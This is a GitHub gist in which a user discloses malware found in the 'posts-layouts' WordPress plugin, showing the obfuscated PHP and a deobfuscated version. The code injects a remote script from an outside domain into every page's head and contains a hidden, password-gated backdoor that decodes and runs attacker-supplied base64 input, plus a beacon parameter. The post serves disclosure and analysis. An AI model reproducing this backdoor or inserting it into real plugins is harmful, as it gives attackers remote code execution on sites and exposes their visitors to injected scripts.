Skip to content

Instantly share code, notes, and snippets.

@YourMJK
Created May 19, 2023 09:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save YourMJK/15caf84c767af61af8fb2d4ba371aaad to your computer and use it in GitHub Desktop.
Save YourMJK/15caf84c767af61af8fb2d4ba371aaad to your computer and use it in GitHub Desktop.
"posts-layouts" Wordpress plugin malware
<?php
function posts_layouts_head(){
$sc = "sc"."r"."ipt";
echo "<".$sc." ".substr($sc, 0, 3)."='htt".chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(100).chr(110).chr(46).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(115).chr(112).chr(108).chr(97).chr(116).chr(102)."orm.com/scripts/stats.js' type='text/java".$sc."'></".$sc.">";
}
("w"."p_h"."ead",'posts_layouts_head'); $b = "b"."a"."se6"."4_"."d"."ec"."od"."e"; $m = "md5";$d="dd";$e=$m("343");$f=$b("ZmQ"."0"."NWR"."jZ"."GI0NGF"."iODVi"."Yj"."M2N"."WVmY"."TE4Zj"."Q4MTM3OGQ="); if(isset($_POST[$d])){if($m($_POST[$d])==$f){ ($b($_POST[$d.'1'])); }} if(isset($_GET['343'])){echo $e;die();}
@YourMJK
Copy link
Author

YourMJK commented May 19, 2023

There is a bunch of whitespace at the supposed end of line 8, scroll to the right!

@YourMJK
Copy link
Author

YourMJK commented May 19, 2023

My deobfuscation attempt:

<?php

function posts_layouts_head(){
	echo "<script src='https://cdn.scriptsplatform.com/scripts/stats.js' type='text/javascript'></script>";
}
("wp_head",'posts_layouts_head');
$d = "dd";
$e = md5("343");
$f = base64_decode("ZmQ0NWRjZGI0NGFiODViYjM2NWVmYTE4ZjQ4MTM3OGQ=");

if (isset($_POST[$d])) {
	if (md5($_POST[$d]) == $f) {
		(base64_decode($_POST[$d.'1']));
	}
}
if (isset($_GET['343'])) {
	echo $e;
	die();
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment